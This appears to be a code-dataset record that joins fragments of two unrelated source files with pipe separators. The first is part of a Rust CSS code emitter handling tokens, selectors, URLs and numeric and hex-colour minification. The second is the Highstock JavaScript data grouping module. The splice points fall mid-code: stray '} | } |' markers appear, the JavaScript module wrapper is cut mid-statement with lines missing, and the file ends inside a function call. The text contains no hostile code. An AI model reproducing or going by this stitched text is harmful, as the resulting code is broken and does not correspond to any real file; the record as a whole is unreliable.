self.wr.write_raw(None, value)?;
}
Token::CDC => {
punct!(self, span, "-->");
}
Token::CDO => {
punct!(self, span, "<!--");
}
}
}
#[emitter]
fn emit_tokens(&mut self, n: &Tokens) -> Result {
for TokenAndSpan { span, token } in &n.tokens {
let span = *span;
match token {
Token::AtKeyword { raw, .. } => {
punct!(self, span, "@");
self.wr.write_raw(Some(n.span), raw)?;
}
Token::Delim { value } => {
self.wr.write_raw_char(Some(n.span), *value)?;
}
Token::LParen => {
punct!(self, span, "(");
}
Token::RParen => {
punct!(self, span, ")");
}
Token::LBracket => {
punct!(self, span, "[");
}
Token::RBracket => {
punct!(self, span, "]");
}
Token::Number { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
}
Token::Percentage { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
punct!(self, "%");
}
Token::Dimension {
raw_value,
raw_unit,
..
} => {
self.wr.write_raw(Some(span), raw_value)?;
self.wr.write_raw(Some(span), raw_unit)?;
}
Token::Ident { raw, .. } => {
self.wr.write_raw(Some(n.span), raw)?;
}
Token::Function { raw, .. } => {
self.wr.write_raw(Some(n.span), raw)?;
punct!(self, "(");
}
Token::BadString { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
}
Token::String { raw, .. } => {
self.wr.write_raw(Some(span), raw)?;
}
Token::Url {
raw_name,
raw_value,
before,
after,
..
} => {
self.wr.write_raw(None, raw_name)?;
punct!(self, "(");
self.wr.write_raw(None, before)?;
self.wr.write_raw(None, raw_value)?;
self.wr.write_raw(None, after)?;
punct!(self, ")");
}
Token::BadUrl {
raw_name,
raw_value,
..
} => {
self.wr.write_raw(Some(span), raw_name)?;
punct!(self, "(");
self.wr.write_raw(None, raw_value)?;
punct!(self, ")");
}
Token::Comma => {
punct!(self, span, ",");
}
Token::Semi => {
punct!(self, span, ";");
}
Token::LBrace => {
punct!(self, span, "{");
}
Token::RBrace => {
punct!(self, span, "}");
}
Token::Colon => {
punct!(self, span, ":");
}
Token::Hash { raw, .. } => {
punct!(self, "#");
self.wr.write_raw(Some(span), raw)?;
}
Token::WhiteSpace { value, .. } => {
self.wr.write_raw(None, value)?;
}
Token::CDC => {
punct!(self, span, "-->");
}
Token::CDO => {
punct!(self, span, "<!--");
}
}
}
}
#[emitter]
fn emit_url(&mut self, n: &Url) -> Result {
emit!(self, n.name);
punct!(self, "(");
if let Some(value) = &n.value {
emit!(self, value);
}
if let Some(modifiers) = &n.modifiers {
if !modifiers.is_empty() {
if n.value.is_some() {
formatting_space!(self);
}
self.emit_list(modifiers, ListFormat::SpaceDelimited)?;
}
}
punct!(self, ")");
}
#[emitter]
fn emit_url_value(&mut self, n: &UrlValue) -> Result {
match n {
UrlValue::Raw(n) => emit!(self, n),
UrlValue::Str(n) => emit!(self, n),
}
}
#[emitter]
fn emit_url_value_raw(&mut self, n: &UrlValueRaw) -> Result {
if !self.config.minify {
self.wr.write_raw(Some(n.span), &n.before)?;
}
if self.config.minify {
self.wr.write_raw(Some(n.span), &n.value)?;
} else {
self.wr.write_raw(Some(n.span), &n.raw)?;
}
if !self.config.minify {
self.wr.write_raw(Some(n.span), &n.after)?;
}
}
#[emitter]
fn emit_url_modifier(&mut self, n: &UrlModifier) -> Result {
match n {
UrlModifier::Ident(n) => emit!(self, n),
UrlModifier::Function(n) => emit!(self, n),
}
}
#[emitter]
fn emit_unicode_range(&mut self, n: &UnicodeRange) -> Result {
let mut value = String::new();
value.push(n.prefix);
value.push('+');
value.push_str(&n.start);
if let Some(end) = &n.end {
value.push('-');
value.push_str(end);
}
self.wr.write_raw(Some(n.span), &value)?;
}
#[emitter]
fn emit_selector_list(&mut self, n: &SelectorList) -> Result {
self.emit_list(&n.children, ListFormat::CommaDelimited)?;
}
#[emitter]
fn emit_compound_selector_list(&mut self, n: &CompoundSelectorList) -> Result {
self.emit_list(&n.children, ListFormat::CommaDelimited)?;
}
#[emitter]
fn emit_relative_selector_list(&mut self, n: &RelativeSelectorList) -> Result {
self.emit_list(&n.children, ListFormat::CommaDelimited)?;
}
#[emitter]
fn emit_complex_selector(&mut self, n: &ComplexSelector) -> Result {
for (idx, node) in n.children.iter().enumerate() {
emit!(self, node);
match node {
ComplexSelectorChildren::Combinator(Combinator {
value: CombinatorValue::Descendant,
..
}) => {}
_ => match n.children.get(idx + 1) {
Some(ComplexSelectorChildren::Combinator(Combinator {
value: CombinatorValue::Descendant,
..
})) => {}
Some(_) => {
formatting_space!(self);
}
_ => {}
},
}
}
}
#[emitter]
fn emit_relative_selector(&mut self, n: &RelativeSelector) -> Result {
if let Some(combinator) = &n.combinator {
emit!(self, combinator);
formatting_space!(self);
}
emit!(self, n.selector);
}
#[emitter]
fn emit_complex_selector_children(&mut self, n: &ComplexSelectorChildren) -> Result {
match n {
ComplexSelectorChildren::CompoundSelector(n) => emit!(self, n),
ComplexSelectorChildren::Combinator(n) => emit!(self, n),
}
}
#[emitter]
fn emit_compound_selector(&mut self, n: &CompoundSelector) -> Result {
emit!(&mut *self.with_ctx(self.ctx), n.nesting_selector);
emit!(&mut *self.with_ctx(self.ctx), n.type_selector);
self.emit_list(&n.subclass_selectors, ListFormat::NotDelimited)?;
}
#[emitter]
fn emit_combinator(&mut self, n: &Combinator) -> Result {
self.wr.write_punct(None, n.value.as_str())?;
}
#[emitter]
fn emit_nesting_selector(&mut self, _: &NestingSelector) -> Result {
punct!(self, "&");
}
#[emitter]
fn emit_subclass_selector(&mut self, n: &SubclassSelector) -> Result {
match n {
SubclassSelector::Id(n) => emit!(self, n),
SubclassSelector::Class(n) => emit!(self, n),
SubclassSelector::Attribute(n) => emit!(self, n),
SubclassSelector::PseudoClass(n) => emit!(self, n),
SubclassSelector::PseudoElement(n) => emit!(self, n),
}
}
#[emitter]
fn emit_type_selector(&mut self, n: &TypeSelector) -> Result {
match n {
TypeSelector::TagName(n) => emit!(self, n),
TypeSelector::Universal(n) => emit!(self, n),
}
}
#[emitter]
fn emit_tag_name_selector(&mut self, n: &TagNameSelector) -> Result {
emit!(self, n.name);
}
#[emitter]
fn emit_universal_selector(&mut self, n: &UniversalSelector) -> Result {
if let Some(prefix) = &n.prefix {
emit!(self, prefix);
}
punct!(self, "*");
}
#[emitter]
fn emit_ns_prefix(&mut self, n: &NsPrefix) -> Result {
emit!(self, n.prefix);
punct!(self, "|");
}
#[emitter]
fn emit_wq_name(&mut self, n: &WqName) -> Result {
if n.prefix.is_some() {
emit!(self, n.prefix);
}
emit!(self, n.value);
}
#[emitter]
fn emit_id_selector(&mut self, n: &IdSelector) -> Result {
punct!(self, "#");
emit!(self, n.text);
}
#[emitter]
fn emit_class_selector(&mut self, n: &ClassSelector) -> Result {
punct!(self, ".");
emit!(self, n.text);
}
#[emitter]
fn emit_attribute_selector(&mut self, n: &AttributeSelector) -> Result {
punct!(self, "[");
emit!(self, n.name);
if n.matcher.is_some() {
emit!(self, n.matcher);
emit!(self, n.value);
if n.modifier.is_some() {
match n.value {
Some(AttributeSelectorValue::Str(_)) => {
formatting_space!(self);
}
Some(AttributeSelectorValue::Ident(_)) => {
space!(self);
}
_ => {}
}
emit!(self, n.modifier);
}
}
punct!(self, "]");
}
#[emitter]
fn emit_attribute_selector_matcher(&mut self, n: &AttributeSelectorMatcher) -> Result {
self.wr.write_punct(None, n.value.as_str())?;
}
#[emitter]
fn emit_attribute_selector_value(&mut self, n: &AttributeSelectorValue) -> Result {
match n {
AttributeSelectorValue::Str(n) => emit!(self, n),
AttributeSelectorValue::Ident(n) => emit!(self, n),
}
}
#[emitter]
fn emit_attribute_selector_modifier(&mut self, n: &AttributeSelectorModifier) -> Result {
emit!(self, n.value);
}
#[emitter]
fn emit_an_plus_b(&mut self, n: &AnPlusB) -> Result {
match n {
AnPlusB::Ident(n) => emit!(self, n),
AnPlusB::AnPlusBNotation(n) => emit!(self, n),
}
}
#[emitter]
fn emit_an_plus_b_notation(&mut self, n: &AnPlusBNotation) -> Result {
if self.config.minify {
if let Some(a) = &n.a {
if *a == -1 {
self.wr.write_raw(None, "-")?;
} else if *a != 1 {
self.wr.write_raw(None, &a.to_string())?;
}
punct!(self, "n");
}
if let Some(b) = &n.b {
if *b >= 0 && n.a.is_some() {
self.wr.write_raw(None, "+")?;
}
self.wr.write_raw(None, &b.to_string())?;
}
} else {
if let Some(a_raw) = &n.a_raw {
self.wr.write_raw(None, a_raw)?;
punct!(self, "n");
}
if let Some(b_raw) = &n.b_raw {
self.wr.write_raw(None, b_raw)?;
}
}
}
#[emitter]
fn emit_pseudo_class_selector(&mut self, n: &PseudoClassSelector) -> Result {
punct!(self, ":");
emit!(self, n.name);
if let Some(children) = &n.children {
punct!(self, "(");
self.emit_list_pseudo_class_selector_children(children)?;
punct!(self, ")");
}
}
#[emitter]
fn emit_pseudo_class_selector_children(&mut self, n: &PseudoClassSelectorChildren) -> Result {
match n {
PseudoClassSelectorChildren::PreservedToken(n) => emit!(self, n),
PseudoClassSelectorChildren::AnPlusB(n) => emit!(self, n),
PseudoClassSelectorChildren::Ident(n) => emit!(self, n),
PseudoClassSelectorChildren::Str(n) => emit!(self, n),
PseudoClassSelectorChildren::Delimiter(n) => emit!(self, n),
PseudoClassSelectorChildren::SelectorList(n) => emit!(self, n),
PseudoClassSelectorChildren::CompoundSelectorList(n) => emit!(self, n),
PseudoClassSelectorChildren::RelativeSelectorList(n) => emit!(self, n),
PseudoClassSelectorChildren::CompoundSelector(n) => emit!(self, n),
}
}
fn emit_list_pseudo_class_selector_children(
&mut self,
nodes: &[PseudoClassSelectorChildren],
) -> Result {
let len = nodes.len();
for (idx, node) in nodes.iter().enumerate() {
emit!(self, node);
if idx != len - 1 {
match node {
PseudoClassSelectorChildren::PreservedToken(_) => {}
PseudoClassSelectorChildren::Delimiter(_) => {
formatting_space!(self);
}
_ => {
space!(self)
}
}
}
}
Ok(())
}
#[emitter]
fn emit_pseudo_element_selector(&mut self, n: &PseudoElementSelector) -> Result {
punct!(self, ":");
punct!(self, ":");
emit!(self, n.name);
if let Some(children) = &n.children {
punct!(self, "(");
self.emit_list_pseudo_element_selector_children(children)?;
punct!(self, ")");
}
}
#[emitter]
fn emit_pseudo_element_selector_children(
&mut self,
n: &PseudoElementSelectorChildren,
) -> Result {
match n {
PseudoElementSelectorChildren::PreservedToken(n) => emit!(self, n),
PseudoElementSelectorChildren::Ident(n) => emit!(self, n),
PseudoElementSelectorChildren::CompoundSelector(n) => emit!(self, n),
}
}
fn emit_list_pseudo_element_selector_children(
&mut self,
nodes: &[PseudoElementSelectorChildren],
) -> Result {
let len = nodes.len();
for (idx, node) in nodes.iter().enumerate() {
emit!(self, node);
if idx != len - 1 {
match node {
PseudoElementSelectorChildren::PreservedToken(_) => {}
_ => {
space!(self)
}
}
}
}
Ok(())
}
fn emit_list<N>(&mut self, nodes: &[N], format: ListFormat) -> Result
where
Self: Emit<N>,
N: Spanned,
{
for (idx, node) in nodes.iter().enumerate() {
if idx != 0 {
self.write_delim(format)?;
if format & ListFormat::LinesMask == ListFormat::MultiLine {
formatting_newline!(self);
}
}
emit!(self, node)
}
Ok(())
}
fn write_delim(&mut self, f: ListFormat) -> Result {
match f & ListFormat::DelimitersMask {
ListFormat::None => {}
ListFormat::CommaDelimited => {
punct!(self, ",");
formatting_space!(self);
}
ListFormat::SpaceDelimited => {
space!(self)
}
ListFormat::SemiDelimited => {
punct!(self, ";")
}
ListFormat::DotDelimited => {
punct!(self, ".");
}
_ => unreachable!(),
}
Ok(())
}
}
fn minify_numeric(value: f64) -> String {
if value.is_sign_negative() && value == 0.0 {
return "-0".to_owned();
}
let mut minified = value.to_string();
if minified.starts_with("0.") {
minified.replace_range(0..1, "");
} else if minified.starts_with("-0.") {
minified.replace_range(1..2, "");
}
if minified.starts_with(".000") {
let mut cnt = 3;
for &v in minified.as_bytes().iter().skip(4) {
if v == b'0' {
cnt += 1;
} else {
break;
}
}
minified.replace_range(0..cnt + 1, "");
let remain_len = minified.len();
minified.push_str("e-");
minified.push_str(&(remain_len + cnt).to_string());
} else if minified.ends_with("000") {
let mut cnt = 3;
for &v in minified.as_bytes().iter().rev().skip(3) {
if v == b'0' {
cnt += 1;
} else {
break;
}
}
minified.truncate(minified.len() - cnt);
minified.push('e');
minified.push_str(&cnt.to_string());
}
minified
}
fn minify_hex_color(value: &str) -> String {
let length = value.len();
if length == 6 || length == 8 {
let chars = value.as_bytes();
if chars[0] == chars[1] && chars[2] == chars[3] && chars[4] == chars[5] {
// 6 -> 3 or 8 -> 3
if length == 6 || chars[6] == b'f' && chars[7] == b'f' {
let mut minified = String::new();
minified.push((chars[0] as char).to_ascii_lowercase());
minified.push((chars[2] as char).to_ascii_lowercase());
minified.push((chars[4] as char).to_ascii_lowercase());
return minified;
}
// 8 -> 4
else if length == 8 && chars[6] == chars[7] {
let mut minified = String::new();
minified.push((chars[0] as char).to_ascii_lowercase());
minified.push((chars[2] as char).to_ascii_lowercase());
minified.push((chars[4] as char).to_ascii_lowercase());
minified.push((chars[6] as char).to_ascii_lowercase());
return minified;
}
}
}
value.to_ascii_lowercase()
} | } |
datagrouping.src.js | /**
* @license Highstock JS v7.2.0 (2019-09-03)
*
* Data grouping module
*
* (c) 2010-2019 Torstein Hønsi
*
* License: www.highcharts.com/license
*/
'use strict';
(function (factory) {
if (typeof module === 'object' && module.exports) {
factory['default'] = factory;
module.exports = factory;
} else if (typeof define === 'function' && define.amd) {
define('highcharts/modules/datagrouping', ['highcharts'], function (Highcharts) {
factory(Highcharts);
factory.Highcharts = Highcharts; | factory(typeof Highcharts !== 'undefined' ? Highcharts : undefined);
}
}(function (Highcharts) {
var _modules = Highcharts ? Highcharts._modules : {};
function _registerModule(obj, path, args, fn) {
if (!obj.hasOwnProperty(path)) {
obj[path] = fn.apply(null, args);
}
}
_registerModule(_modules, 'parts/DataGrouping.js', [_modules['parts/Globals.js'], _modules['parts/Utilities.js']], function (H, U) {
/* *
*
* (c) 2010-2019 Torstein Honsi
*
* License: www.highcharts.com/license
*
* !!!!!!! SOURCE GETS TRANSPILED BY TYPESCRIPT. EDIT TS FILE ONLY. !!!!!!!
*
* */
/**
* @typedef {"average"|"averages"|"open"|"high"|"low"|"close"|"sum"} Highcharts.DataGroupingApproximationValue
*/
/**
* @interface Highcharts.DataGroupingInfoObject
*/ /**
* @name Highcharts.DataGroupingInfoObject#length
* @type {number}
*/ /**
* @name Highcharts.DataGroupingInfoObject#options
* @type {Highcharts.SeriesOptionsType|undefined}
*/ /**
* @name Highcharts.DataGroupingInfoObject#start
* @type {number}
*/
var defined = U.defined, isNumber = U.isNumber;
var addEvent = H.addEvent, arrayMax = H.arrayMax, arrayMin = H.arrayMin, Axis = H.Axis, correctFloat = H.correctFloat, defaultPlotOptions = H.defaultPlotOptions, extend = H.extend, format = H.format, merge = H.merge, pick = H.pick, Point = H.Point, Series = H.Series, Tooltip = H.Tooltip;
/* ************************************************************************** *
* Start data grouping module *
* ************************************************************************** */
/* eslint-disable no-invalid-this, valid-jsdoc */
/**
* Define the available approximation types. The data grouping
* approximations takes an array or numbers as the first parameter. In case
* of ohlc, four arrays are sent in as four parameters. Each array consists
* only of numbers. In case null values belong to the group, the property
* .hasNulls will be set to true on the array.
*
* @product highstock
*
* @private
* @name Highcharts.approximations
* @type {Highcharts.Dictionary<Function>}
*/
var approximations = H.approximations = {
sum: function (arr) {
var len = arr.length, ret;
// 1. it consists of nulls exclusive
if (!len && arr.hasNulls) {
ret = null;
// 2. it has a length and real values
}
else if (len) {
ret = 0;
while (len--) {
ret += arr[len];
}
}
// 3. it has zero length, so just return undefined
// => doNothing()
return ret;
},
average: function (arr) {
var len = arr.length, ret = approximations.sum(arr);
// If we have a number, return it divided by the length. If not,
// return null or undefined based on what the sum method finds.
if (isNumber(ret) && len) {
ret = correctFloat(ret / len);
}
return ret;
},
// The same as average, but for series with multiple values, like area
// ranges.
averages: function () {
var ret = [];
[].forEach.call(arguments, function (arr) {
ret.push(approximations.average(arr));
});
// Return undefined when first elem. is undefined and let
// sum method handle null (#7377)
return ret[0] === undefined ? undefined : ret;
},
open: function (arr) {
return arr.length ? arr[0] : (arr.hasNulls ? null : undefined);
},
high: function (arr) {
return arr.length ?
arrayMax(arr) :
(arr.hasNulls ? null : undefined);
},
low: function (arr) {
return arr.length ?
arrayMin(arr) :
(arr.hasNulls ? null : undefined);
},
close: function (arr) {
return arr.length ?
arr[arr.length - 1] :
(arr.hasNulls ? null : undefined);
},
// ohlc and range are special cases where a multidimensional array is
// input and an array is output
ohlc: function (open, high, low, close) {
open = approximations.open(open);
high = approximations.high(high);
low = approximations.low(low);
close = approximations.close(close);
if (isNumber(open) ||
isNumber(high) ||
isNumber(low) ||
isNumber(close)) {
return [open, high, low, close];
}
// else, return is undefined
},
range: function (low, high) {
low = approximations.low(low);
high = approximations.high(high);
if (isNumber(low) || isNumber(high)) {
return [low, high];
}
if (low === null && high === null) {
return null;
}
// else, return is undefined
}
};
var groupData = function (xData, yData, groupPositions, approximation) {
var series = this, data = series.data, dataOptions = series.options && series.options.data, groupedXData = [], groupedYData = [], groupMap = [], dataLength = xData.length, pointX, pointY, groupedY,
// when grouping the fake extended axis for panning,
// we don't need to consider y
handleYData = !!yData, values = [], approximationFn, pointArrayMap = series.pointArrayMap, pointArrayMapLength = pointArrayMap && pointArrayMap.length, extendedPointArrayMap = ['x'].concat(pointArrayMap || ['y']), pos = 0, start = 0, valuesLen, i, j;
/**
* @private
*/
function getApproximation(approx) {
if (typeof approx === 'function') {
return approx;
}
if (approximations[approx]) {
return approximations[approx];
}
return approximations[(series.getDGApproximation && series.getDGApproximation()) ||
'average'];
}
approximationFn = getApproximation(approximation);
// Calculate values array size from pointArrayMap length
if (pointArrayMapLength) {
pointArrayMap.forEach(function () {
values.push([]);
});
}
else {
values.push([]);
}
valuesLen = pointArrayMapLength || 1;
// Start with the first point within the X axis range (#2696)
for (i = 0; i <= dataLength; i++) {
if (xData[i] >= groupPositions[0]) {
break;
}
}
for (i; i <= dataLength; i++) {
// when a new group is entered, summarize and initialize
// the previous group
while ((groupPositions[pos + 1] !== undefined &&
xData[i] >= groupPositions[pos + 1]) ||
i === dataLength) { // get the last group
// get group x and y
pointX = groupPositions[pos];
series.dataGroupInfo = {
start: series.cropStart + start,
length: values[0].length
};
groupedY = approximationFn.apply(series, values);
// By default, let options of the first grouped point be passed over
// to the grouped point. This allows preserving properties like
// `name` and `color` or custom properties. Implementers can
// override this from the approximation function, where they can
// write custom options to `this.dataGroupInfo.options`.
if (series.pointClass && !defined(series.dataGroupInfo.options)) {
// Convert numbers and arrays into objects
series.dataGroupInfo.options = merge(series.pointClass.prototype
.optionsToObject.call({ series: series }, series.options.data[series.cropStart + start]));
// Make sure the raw data (x, y, open, high etc) is not copied
// over and overwriting approximated data.
extendedPointArrayMap.forEach(function (key) {
delete series.dataGroupInfo.options[key];
});
}
// push the grouped data
if (groupedY !== undefined) {
groupedXData.push(pointX);
groupedYData.push(groupedY);
groupMap.push(series.dataGroupInfo);
}
// reset the aggregate arrays
start = i;
for (j = 0; j < valuesLen; j++) {
values[j].length = 0; // faster than values[j] = []
values[j].hasNulls = false;
}
// Advance on the group positions
pos += 1;
// don't loop beyond the last group
if (i === dataLength) {
break;
}
}
// break out
if (i === dataLength) {
break;
}
// for each raw data point, push it to an array that contains all values
// for this specific group
if (pointArrayMap) {
var index = series.cropStart + i, point = (data && data[index]) ||
series.pointClass.prototype.applyOptions.apply({
series: series
}, [dataOptions[index]]), val;
for (j = 0; j < pointArrayMapLength; j++) {
val = point[pointArrayMap[j]];
if (isNumber(val)) {
values[j].push(val);
}
else if (val === null) {
values[j].hasNulls = true;
}
}
}
else {
pointY = handleYData ? yData[i] : null;
if (isNumber(pointY)) {
values[0].push(pointY);
}
else if (pointY === null) {
values[0].hasNulls = true;
}
}
}
return {
groupedXData: groupedXData,
groupedYData: groupedYData,
groupMap: groupMap
};
};
var dataGrouping = {
approximations: approximations,
groupData: groupData
};
// -----------------------------------------------------------------------------
// The following code applies to implementation of data grouping on a Series
var seriesProto = Series.prototype, baseProcessData = seriesProto.processData, baseGeneratePoints = seriesProto.generatePoints,
/**
* @ignore
*/
commonOptions = {
// enabled: null, // (true for stock charts, false for basic),
// forced: undefined,
groupPixelWidth: 2,
// the first one is the point or start value, the second is the start
// value if we're dealing with range, the third one is the end value if
// dealing with a range
dateTimeLabelFormats: {
millisecond: [
'%A, %b %e, %H:%M:%S.%L',
'%A, %b %e, %H:%M:%S.%L',
'-%H:%M:%S.%L'
],
second: [
'%A, %b %e, %H:%M:%S',
'%A, %b %e, %H:%M:%S',
'-%H:%M:%S'
],
minute: [
'%A, %b %e, %H:%M',
'%A, %b %e, %H:%M',
'-%H:%M'
],
hour: [
'%A, %b %e, %H:%M',
'%A, %b %e, %H:%M',
'-%H:%M'
],
day: [
'%A, %b %e, %Y',
'%A, %b %e',
'-%A, %b %e, %Y'
],
week: [
'Week from %A, %b %e, %Y',
'%A, %b %e',
'-%A, %b %e, %Y'
],
month: [
'%B %Y',
'%B',
'-%B %Y'
],
year: [
'%Y',
'%Y',
'-%Y'
]
}
// smoothed = false, // enable this for navigator series only
}, specificOptions = {
line: {},
spline: {},
area: {},
areaspline: {},
column: {
groupPixelWidth: 10
},
columnrange: {
groupPixelWidth: 10
},
candlestick: {
groupPixelWidth: 10
},
ohlc: {
groupPixelWidth: 5
}
},
// units are defined in a separate array to allow complete overriding in
// case of a user option
defaultDataGroupingUnits = H.defaultDataGroupingUnits = [
[
'millisecond',
[1, 2, 5, 10, 20, 25, 50, 100, 200, 500] // allowed multiples
], [
'second',
[1, 2, 5, 10, 15, 30]
], [
'minute',
[1, 2, 5, 10, 15, 30]
], [
'hour',
[1, 2, 3, 4, 6, 8, 12]
], [
'day',
[1]
], [
'week',
[1]
], [
'month',
[1, 3, 6]
], [
'year',
null
]
];
// Set default approximations to the prototypes if present. Properties are
// inherited down. Can be overridden for individual series types.
seriesProto.getDGApproximation = function () {
if (H.seriesTypes.arearange && this instanceof H.seriesTypes.arearange) {
return 'range';
}
if (H.seriesTypes.ohlc && this instanceof H.seriesTypes.ohlc) {
return 'ohlc';
}
if (H.seriesTypes.column && this instanceof H.seriesTypes.column) {
return 'sum';
}
return 'average';
};
/**
* Takes parallel arrays of x and y data and groups the data into intervals
* defined by groupPositions, a collection of starting x values for each group.
*
* @private
* @function Highcharts.Series#groupData
*
* @param {Array<number>} xData
*
* @param {Array<number>} yData
*
* @param {boolean} groupPositions
*
* @param {string|Function} approximation
*
* @return {void}
*/
seriesProto.groupData = groupData;
// Extend the basic processData method, that crops the data to the current zoom
// range, with data grouping logic.
seriesProto.processData = function () {
var series = this, chart = series.chart, options = series.options, dataGroupingOptions = options.dataGrouping, groupingEnabled = series.allowDG !== false && dataGroupingOptions &&
pick(dataGroupingOptions.enabled, chart.options.isStock), visible = (series.visible || !chart.options.chart.ignoreHiddenSeries), hasGroupedData, skip, lastDataGrouping = this.currentDataGrouping, currentDataGrouping, croppedData, revertRequireSorting = false;
// Run base method
series.forceCrop = groupingEnabled; // #334
series.groupPixelWidth = null; // #2110
series.hasProcessed = true; // #2692
// Data needs to be sorted for dataGrouping
if (groupingEnabled && !series.requireSorting) {
series.requireSorting = revertRequireSorting = true;
}
// Skip if processData returns false or if grouping is disabled (in that
// order)
skip = (baseProcessData.apply(series, arguments) === false ||
!groupingEnabled);
// Revert original requireSorting value if changed
if (revertRequireSorting) {
series.requireSorting = false;
}
if (!skip) {
series.destroyGroupedData();
var i, processedXData = dataGroupingOptions.groupAll ?
series.xData :
series.processedXData, processedYData = dataGroupingOptions.groupAll ?
series.yData :
series.processedYData, plotSizeX = chart.plotSizeX, xAxis = series.xAxis, ordinal = xAxis.options.ordinal, groupPixelWidth = series.groupPixelWidth =
xAxis.getGroupPixelWidth && xAxis.getGroupPixelWidth();
// Execute grouping if the amount of points is greater than the limit
// defined in groupPixelWidth
if (groupPixelWidth) {
hasGroupedData = true;
// Force recreation of point instances in series.translate, #5699
series.isDirty = true;
series.points = null; // #6709
var extremes = xAxis.getExtremes(), xMin = extremes.min, xMax = extremes.max, groupIntervalFactor = (ordinal &&
xAxis.getGroupIntervalFactor(xMin, xMax, series)) || 1, interval = (groupPixelWidth * (xMax - xMin) / plotSizeX) *
groupIntervalFactor, groupPositions = xAxis.getTimeTicks(xAxis.normalizeTimeTickInterval(interval, dataGroupingOptions.units ||
defaultDataGroupingUnits),
// Processed data may extend beyond axis (#4907)
Math.min(xMin, processedXData[0]), Math.max(xMax, processedXData[processedXData.length - 1]), xAxis.options.startOfWeek, processedXData, series.closestPointRange), groupedData = seriesProto.groupData.apply(series, [
processedXData,
processedYData,
groupPositions,
dataGroupingOptions.approximation
]), groupedXData = groupedData.groupedXData, groupedYData = groupedData.groupedYData, gapSize = 0;
// Prevent the smoothed data to spill out left and right, and make
// sure data is not shifted to the left
if (dataGroupingOptions.smoothed && groupedXData.length) {
i = groupedXData.length - 1;
groupedXData[i] = Math.min(groupedXData[i], xMax);
while (i-- && i > 0) {
groupedXData[i] += interval / 2;
}
groupedXData[0] = Math.max(groupedXData[0], xMin);
}
// Record what data grouping values were used
for (i = 1; i < groupPositions.length; i++) {
// The grouped gapSize needs to be the largest distance between
// the group to capture varying group sizes like months or DST
// crossing (#10000). Also check that the gap is not at the
// start of a segment.
if (!groupPositions.info.segmentStarts ||
groupPositions.info.segmentStarts.indexOf(i) === -1) {
gapSize = Math.max(groupPositions[i] - groupPositions[i - 1], gapSize);
}
}
currentDataGrouping = groupPositions.info;
currentDataGrouping.gapSize = gapSize;
series.closestPointRange = groupPositions.info.totalRange;
series.groupMap = groupedData.groupMap;
// Make sure the X axis extends to show the first group (#2533)
// But only for visible series (#5493, #6393)
if (defined(groupedXData[0]) &&
groupedXData[0] < xAxis.min &&
visible) {
if ((!defined(xAxis.options.min) &&
xAxis.min <= xAxis.dataMin) ||
xAxis.min === xAxis.dataMin) {
xAxis.min = groupedXData[0];
}
xAxis.dataMin = groupedXData[0];
}
// We calculated all group positions but we should render
// only the ones within the visible range
if (dataGroupingOptions.groupAll) {
croppedData = series.cropData(groupedXData, groupedYData, xAxis.min, xAxis.max, 1 // Ordinal xAxis will remove left-most points otherwise
);
groupedXData = croppedData.xData;
groupedYData = croppedData.yData;
}
// Set series props
series.processedXData = groupedXData;
series.processedYData = groupedYData;
}
else {
series.groupMap = null;
}
series.hasGroupedData = hasGroupedData;
series.currentDataGrouping = currentDataGrouping;
series.preventGraphAnimation =
(lastDataGrouping && lastDataGrouping.totalRange) !==
(currentDataGrouping && currentDataGrouping.totalRange);
}
};
// Destroy the grouped data points. #622, #740
seriesProto.destroyGroupedData = function () {
var groupedData = this.groupedData;
// clear previous groups
(groupedData || []).forEach(function (point, i) {
if (point) {
groupedData[i] = point.destroy ? point.destroy() : null;
}
});
this.groupedData = null;
};
// Override the generatePoints method by adding a reference to grouped data
seriesProto.generatePoints = function () {
baseGeneratePoints.apply(this);
// Record grouped data in order to let it be destroyed the next time
// processData runs
this.destroyGroupedData(); // #622
this.groupedData = this.hasGroupedData ? this.points : null;
};
// Override point prototype to throw a warning when trying to update grouped
// points.
addEvent(Point, 'update', function () {
if (this.dataGroup) {
H.error(24, false, this.series.chart);
return false;
}
});
// Extend the original method, make the tooltip's header reflect the grouped
// range.
addEvent(Tooltip, 'headerFormatter', function (e) {
var tooltip = this, time = this.chart.time, labelConfig = e.labelConfig, series = labelConfig.series, options = series.options, tooltipOptions = series.tooltipOptions, dataGroupingOptions = options.dataGrouping, xDateFormat = tooltipOptions.xDateFormat, xDateFormatEnd, xAxis = series.xAxis, currentDataGrouping, dateTimeLabelFormats, labelFormats, formattedKey, formatString = tooltipOptions[(e.isFooter ? 'footer' : 'header') + 'Format'];
// apply only to grouped series
if (xAxis &&
xAxis.options.type === 'datetime' &&
dataGroupingOptions &&
isNumber(labelConfig.key)) {
// set variables
currentDataGrouping = series.currentDataGrouping;
dateTimeLabelFormats = dataGroupingOptions.dateTimeLabelFormats ||
// Fallback to commonOptions (#9693)
commonOptions.dateTimeLabelFormats;
// if we have grouped data, use the grouping information to get the
// right format
if (currentDataGrouping) {
labelFormats =
dateTimeLabelFormats[currentDataGrouping.unitName];
if (currentDataGrouping.count === 1) {
xDateFormat = labelFormats[0];
}
else {
xDateFormat = labelFormats[1];
xDateFormatEnd = labelFormats[2];
}
// if not grouped, and we don't have set the xDateFormat option, get the
// best fit, so if the least distance between points is one minute, show
// it, but if the least distance is one day, skip hours and minutes etc.
}
else if (!xDateFormat && dateTimeLabelFormats) {
xDateFormat = tooltip.getXDateFormat(labelConfig, tooltipOptions, xAxis);
}
// now format the key
formattedKey = time.dateFormat(xDateFormat, labelConfig.key);
if (xDateFormatEnd) {
formattedKey += time.dateFormat(xDateFormatEnd, labelConfig.key + currentDataGrouping.totalRange - 1);
}
// Replace default header style with class name
if (series.chart.styledMode) {
formatString = this.styledModeFormat(formatString);
}
// return the replaced format
e.text = format(formatString, {
point: extend(labelConfig.point, { key: formattedKey }),
series: series
}, time);
e.preventDefault();
}
});
// Destroy grouped data on series destroy
addEvent(Series, 'destroy', seriesProto.destroyGroupedData);
// Handle default options for data grouping. This must be set at runtime because
// some series types are defined after this.
addEvent(Series, 'afterSetOptions', function (e) {
var options = e.options, type = this.type, plotOptions = this.chart.options.plotOptions, defaultOptions = defaultPlotOptions[type].dataGrouping,
// External series, for example technical indicators should also
// inherit commonOptions which are not available outside this module
baseOptions = this.useCommonDataGrouping && commonOptions;
if (specificOptions[type] || baseOptions) { // #1284
if (!defaultOptions) {
defaultOptions = merge(commonOptions, specificOptions[type]);
}
options.dataGrouping = merge(baseOptions, defaultOptions, plotOptions.series && plotOptions.series.dataGrouping, // #1228
